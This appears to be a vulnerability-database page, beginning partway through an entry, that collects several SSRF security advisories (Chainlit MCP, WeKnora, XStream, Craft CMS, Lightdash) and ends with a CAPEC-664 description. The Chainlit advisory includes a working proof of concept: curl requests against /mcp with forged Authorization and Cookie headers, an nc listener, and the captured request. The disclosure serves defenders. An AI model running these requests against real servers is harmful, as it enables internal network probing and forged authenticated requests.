"details": "### Am I affected?\n\nOnly if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session.\n\n### Summary\n\nWhen MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `sse` and `streamable-http` transports accepts a user-controlled `url` and optional `headers` dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs \u2014 including internal network services and cloud metadata endpoints \u2014 with attacker-controlled HTTP headers such as `Authorization` and `Cookie`.\n\n\n### Affected / patched versions\n\n| | |\n|---|---|\n| CVE | CVE-2026-45019 |\n| Affected \u2014 URL-based SSRF | `\u003e=2.4.0rc0, \u003c2.12.0` (sink present since MCP support was introduced, PR #1977) |\n| Affected \u2014 attacker-controlled header forwarding (amplifies the above) | `\u003e=2.6.4, \u003c2.12.0` (added in PR #2292) |\n| Patched | **2.12.0** (releasing 2026-08-25) |\n\n### Details\n\nThe Pydantic request models in `backend/chainlit/types.py` define `url` as a bare `str` with no scheme check, no private IP filtering, and no allowlist. When `clientType` is `\"sse\"` or `\"streamable-http\"`, the handler in `backend/chainlit/server.py` passes the URL and headers directly to the MCP SDK\u0027s `sse_client()` or `streamablehttp_client()`, which make outbound HTTP requests from the server.\n\nThe SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added `streamable-http` support and introduced attacker-controlled `headers` forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like `Authorization` and `Cookie`.\n\nThis is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).\n\n**Vulnerable code:** `backend/chainlit/server.py` \u2014 `connect_mcp` handler\n**Sink:** `backend/chainlit/server.py` \u2014 `sse_client` / `streamablehttp_client`\n\n### PoC\n\nTested against Chainlit 2.11.0 with `features.mcp.enabled = true` and a local TCP listener.\n\n1. Start a listener to capture the server-side request:\n\n```bash\nnc -l 4445\n```\n\n2. Establish a Socket.IO session and trigger the SSRF:\n\n```bash\nEIO_SID=$(curl -s \u0027http://TARGET:8000/ws/socket.io/?EIO=4\u0026transport=polling\u0027 \\\n | python3 -c \"import sys,json; print(json.loads(sys.stdin.read()[1:])[\u0027sid\u0027])\")\n\ncurl -s -X POST \\\n \"http://TARGET:8000/ws/socket.io/?EIO=4\u0026transport=polling\u0026sid=$EIO_SID\" \\\n -d \u002740{\"sessionId\":\"ssrf\",\"userEnv\":\"{}\",\"clientType\":\"webapp\"}\u0027\n\ncurl -s -X POST \u0027http://TARGET:8000/mcp\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"sessionId\": \"ssrf\",\n \"clientType\": \"streamable-http\",\n \"name\": \"probe\",\n \"url\": \"http://127.0.0.1:4445/internal-admin\",\n \"headers\": {\n \"Authorization\": \"Bearer attacker-controlled-token\",\n \"X-Internal-Secret\": \"exfiltrated\",\n \"Cookie\": \"session=hijacked\"\n }\n }\u0027\n```\n\n3. The listener captures the server-side request with all attacker-controlled headers:\n\n```\nPOST /internal-admin HTTP/1.1\nHost: 127.0.0.1:4445\nAuthorization: Bearer attacker-controlled-token\nX-Internal-Secret: exfiltrated\nCookie: session=hijacked\n```\n\n### Impact\n\n**High.** An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.\n\nAlthough this is a blind SSRF \u2014 the response body is never returned to the attacker \u2014 the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue **state-changing, authenticated requests to internal APIs**: the PoC above is itself a POST carrying a forged `Authorization` header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.\n\n### Fix\n\nChainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:\n\n- User-provided MCP connections now require explicit opt-in via `features.mcp.user_servers.enabled = true`, plus a non-empty `allowed_urls` allowlist. The default is deny-all \u2014 no outbound URL is permitted unless explicitly listed.\n- URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with `.`/`..` path segments, encoded separators (`%2e`, `%2f`, `%5c`), double-encoded sequences (`%25`), backslashes, or non-ASCII characters in the path are rejected.\n- Restricted headers are stripped from user-supplied headers before the request is sent: `Cookie`, `Host`, `Forwarded`, `X-Forwarded-*`, `X-Real-IP`, `Via`, `Proxy-Authorization`, `X-HTTP-Method-Override`, `X-Original-URL`, `X-Rewrite-URL`, and hop-by-hop headers. `Authorization` is deliberately still forwarded \u2014 for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by `allowed_urls`.\n- Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and `GET /project/settings` no longer discloses `allowed_urls`.\n\nDuring remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place \u2014 they are hardening measures for the new allowlist:\n\n- HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded `follow_redirects=True`, so only the first hop of a request would ever have been checked against an allowlist.\n- Every outgoing transport request is now re-checked against the connection\u0027s grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server\u0027s `endpoint` event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.\n\nA companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- Set `features.mcp.enabled = false` in `.chainlit/config.toml`. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).\n- Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).\n- Configure authentication (register an auth callback) so that `/mcp` requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.\n\n### Upgrading to 2.12.0\n\n\u003e **Breaking change.** 2.12.0 changes how MCP servers are configured. If `.chainlit/config.toml` still uses the legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections, or the `allowed_executables` setting, the application will fail to start **once MCP is enabled**, until you migrate to the new `[[features.mcp.servers]]` / `allowed_urls` configuration. See the migration guide in `CHANGELOG.md` before upgrading. Deployments with `features.mcp.enabled = false` are not affected by this startup check.\n\n### Residual risk after upgrading\n\n- On deployments with no authentication configured, `/mcp` remains reachable anonymously after upgrading, because `get_current_user` returns `None` when no auth callback is registered. Where `features.mcp.user_servers.enabled = true`, an anonymous client can therefore still drive outbound requests to any URL on the `allowed_urls` allowlist, with an `Authorization` header of its own choosing.\n- There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.\n- Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.\n\n### Credits\n\nVipin \u003cvipin@spl.team\u003e\nSPL \u003csecurity@spl.team\u003e",
"id": "GHSA-hvfh-5mj3-5f3j",
"modified": "2026-08-25T19:21:40Z",
"published": "2026-08-25T19:21:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-hvfh-5mj3-5f3j"
},
{
"type": "WEB",
"url": "https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/Chainlit/chainlit"
},
{
"type": "WEB",
"url": "https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-002--ssrf-via-mcp-streamable-http--sse"
},
{
"type": "WEB",
"url": "https://github.com/Chainlit/chainlit/releases/tag/2.12.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access"
}
GHSA-HVPP-W3X6-M653
Vulnerability from github – Published: 2026-09-15 03:30 – Updated: 2026-09-15 03:30WeKnora before 0.7.0 fails to re-validate HTTP redirect targets in the POST /api/v1/knowledge-bases/:id/knowledge/url endpoint when downloading documents from user-supplied URLs. Authenticated attackers can bypass initial SSRF validation by supplying a public URL that redirects to internal network addresses, allowing access to internal services and cloud metadata.
{
"affected": [],
"aliases": [
"CVE-2026-91750"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T01:16:54Z",
"severity": "HIGH"
},
"details": "WeKnora before 0.7.0 fails to re-validate HTTP redirect targets in the POST /api/v1/knowledge-bases/:id/knowledge/url endpoint when downloading documents from user-supplied URLs. Authenticated attackers can bypass initial SSRF validation by supplying a public URL that redirects to internal network addresses, allowing access to internal services and cloud metadata.",
"id": "GHSA-hvpp-w3x6-m653",
"modified": "2026-09-15T03:30:29Z",
"published": "2026-09-15T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91750"
},
{
"type": "WEB",
"url": "https://github.com/Tencent/WeKnora/issues/2511"
},
{
"type": "WEB",
"url": "https://github.com/Tencent/WeKnora/commit/1d322c525a6197d24f07555b4b18ad33313b4328"
},
{
"type": "WEB",
"url": "https://github.com/Tencent/WeKnora"
},
{
"type": "WEB",
"url": "https://github.com/Tencent/WeKnora/blob/v0.6.2/internal/application/service/knowledge_util.go#L339-L348"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/weknora-before-0.7.0-ssrf-via-unvalidated-http-redirects"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HVV8-336G-RX3M
Vulnerability from github – Published: 2021-03-22 23:28 – Updated: 2023-03-09 21:21Impact
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
Patches
If you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.16
Workarounds
See workarounds for the different versions covering all CVEs.
References
See full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for CVE-2021-21342.
Credits
钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.
For more information
If you have any questions or comments about this advisory: * Open an issue in XStream * Contact us at XStream Google Group
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.thoughtworks.xstream:xstream"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21342"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-22T23:23:33Z",
"nvd_published_at": "2021-03-23T00:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request. No user is affected, who followed the recommendation to setup XStream\u0027s security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream\u0027s default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream\u0027s documentation for [CVE-2021-21342](https://x-stream.github.io/CVE-2021-21342.html).\n\n### Credits\n\u949f\u6f66\u8d35 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)",
"id": "GHSA-hvv8-336g-rx3m",
"modified": "2023-03-09T21:21:55Z",
"published": "2021-03-22T23:28:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/x-stream/xstream/security/advisories/GHSA-hvv8-336g-rx3m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21342"
},
{
"type": "PACKAGE",
"url": "https://github.com/x-stream/xstream"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd@%3Cusers.activemq.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9ac71b047767205aa22e3a08cb33f3e0586de6b2fac48b425c6e16b0@%3Cdev.jmeter.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/04/msg00002.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/22KVR6B5IZP3BGQ3HPWIO2FWWCKT3DHP"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PVPHZA7VW2RRSDCOIPP2W6O5ND254TU7"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QGXIU3YDPG6OGTDHMBLAFN7BPBERXREB"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210430-0002"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-5004"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "https://x-stream.github.io/CVE-2021-21342.html"
},
{
"type": "WEB",
"url": "https://x-stream.github.io/security.html#workaround"
},
{
"type": "WEB",
"url": "http://x-stream.github.io/changes.html#1.4.16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host"
}
GHSA-HVVW-H49X-4XMW
Vulnerability from github – Published: 2026-08-11 15:32 – Updated: 2026-08-11 15:32Craft CMS versions >= 5.0.0-RC1 before 5.10.6 and >= 4.0.0-RC1 before 4.18.2 contain a server-side request forgery vulnerability in the GraphQL saveAsset mutation, which fetches an attacker-supplied URL server-side. The anti-SSRF validation is incomplete: validateIp() does not cover CGNAT (100.64.0.0/10) or NAT64 (64:ff9b::/96) ranges, and the only IP check runs after the request has already been issued. An attacker holding a GraphQL token scoped only to asset-creation permissions can disclose internal HTTP content from CGNAT/NAT64 targets, force outbound GET requests to internal hosts (including RFC1918, loopback, and metadata endpoints), and enumerate internal services.
{
"affected": [],
"aliases": [
"CVE-2026-72784"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-11T13:19:09Z",
"severity": "MODERATE"
},
"details": "Craft CMS versions \u003e= 5.0.0-RC1 before 5.10.6 and \u003e= 4.0.0-RC1 before 4.18.2 contain a server-side request forgery vulnerability in the GraphQL save\u003cVolume\u003eAsset mutation, which fetches an attacker-supplied URL server-side. The anti-SSRF validation is incomplete: validateIp() does not cover CGNAT (100.64.0.0/10) or NAT64 (64:ff9b::/96) ranges, and the only IP check runs after the request has already been issued. An attacker holding a GraphQL token scoped only to asset-creation permissions can disclose internal HTTP content from CGNAT/NAT64 targets, force outbound GET requests to internal hosts (including RFC1918, loopback, and metadata endpoints), and enumerate internal services.",
"id": "GHSA-hvvw-h49x-4xmw",
"modified": "2026-08-11T15:32:39Z",
"published": "2026-08-11T15:32:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-2mx8-9ww7-p27x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72784"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/craft-cms-rc1-before-ssrf-via-graphql-asset-mutation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HW2H-QF3M-2R8V
Vulnerability from github – Published: 2026-08-21 00:31 – Updated: 2026-08-21 00:31Lightdash stores the webhook URL supplied with a scheduled delivery and later posts to it from sendWebhook in packages/backend/src/clients/GoogleChat/GoogleChatClient.ts and in packages/backend/src/clients/MicrosoftTeams/MicrosoftTeamsClient.ts. In affected versions both call fetch on the stored URL directly. The validatePublicHttpUrl helper in packages/backend/src/utils/ssrfProtection.ts, used for MCP server URLs, is not applied on either path, and the webhook fields carry no server-side URL constraint. A user able to create or trigger a scheduled delivery can therefore direct the server to issue POST requests to private, loopback and link-local addresses, including cloud metadata endpoints, and can distinguish reachable internal services from unreachable ones through the resulting errors. The upstream response is never returned to the requester; on a failure status its body is written to the server log instead. Version 1.146.4 routes both clients through postSchedulerWebhook from packages/backend/src/utils/schedulerWebhookValidation rather than calling fetch directly.
{
"affected": [],
"aliases": [
"CVE-2026-72846"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T22:18:05Z",
"severity": "MODERATE"
},
"details": "Lightdash stores the webhook URL supplied with a scheduled delivery and later posts to it from sendWebhook in packages/backend/src/clients/GoogleChat/GoogleChatClient.ts and in packages/backend/src/clients/MicrosoftTeams/MicrosoftTeamsClient.ts. In affected versions both call fetch on the stored URL directly. The validatePublicHttpUrl helper in packages/backend/src/utils/ssrfProtection.ts, used for MCP server URLs, is not applied on either path, and the webhook fields carry no server-side URL constraint. A user able to create or trigger a scheduled delivery can therefore direct the server to issue POST requests to private, loopback and link-local addresses, including cloud metadata endpoints, and can distinguish reachable internal services from unreachable ones through the resulting errors. The upstream response is never returned to the requester; on a failure status its body is written to the server log instead. Version 1.146.4 routes both clients through postSchedulerWebhook from packages/backend/src/utils/schedulerWebhookValidation rather than calling fetch directly.",
"id": "GHSA-hw2h-qf3m-2r8v",
"modified": "2026-08-21T00:31:23Z",
"published": "2026-08-21T00:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72846"
},
{
"type": "WEB",
"url": "https://github.com/lightdash/lightdash/issues/24389"
},
{
"type": "WEB",
"url": "https://github.com/lightdash/lightdash"
},
{
"type": "WEB",
"url": "https://github.com/lightdash/lightdash/blob/1.146.3/packages/backend/src/clients/GoogleChat/GoogleChatClient.ts"
},
{
"type": "WEB",
"url": "https://github.com/lightdash/lightdash/blob/1.146.3/packages/backend/src/clients/MicrosoftTeams/MicrosoftTeamsClient.ts"
},
{
"type": "WEB",
"url": "https://github.com/lightdash/lightdash/releases/tag/1.146.4"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/lightdash-scheduled-delivery-webhook-urls-are-not-validated-allowing-server-side-request-forgery"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.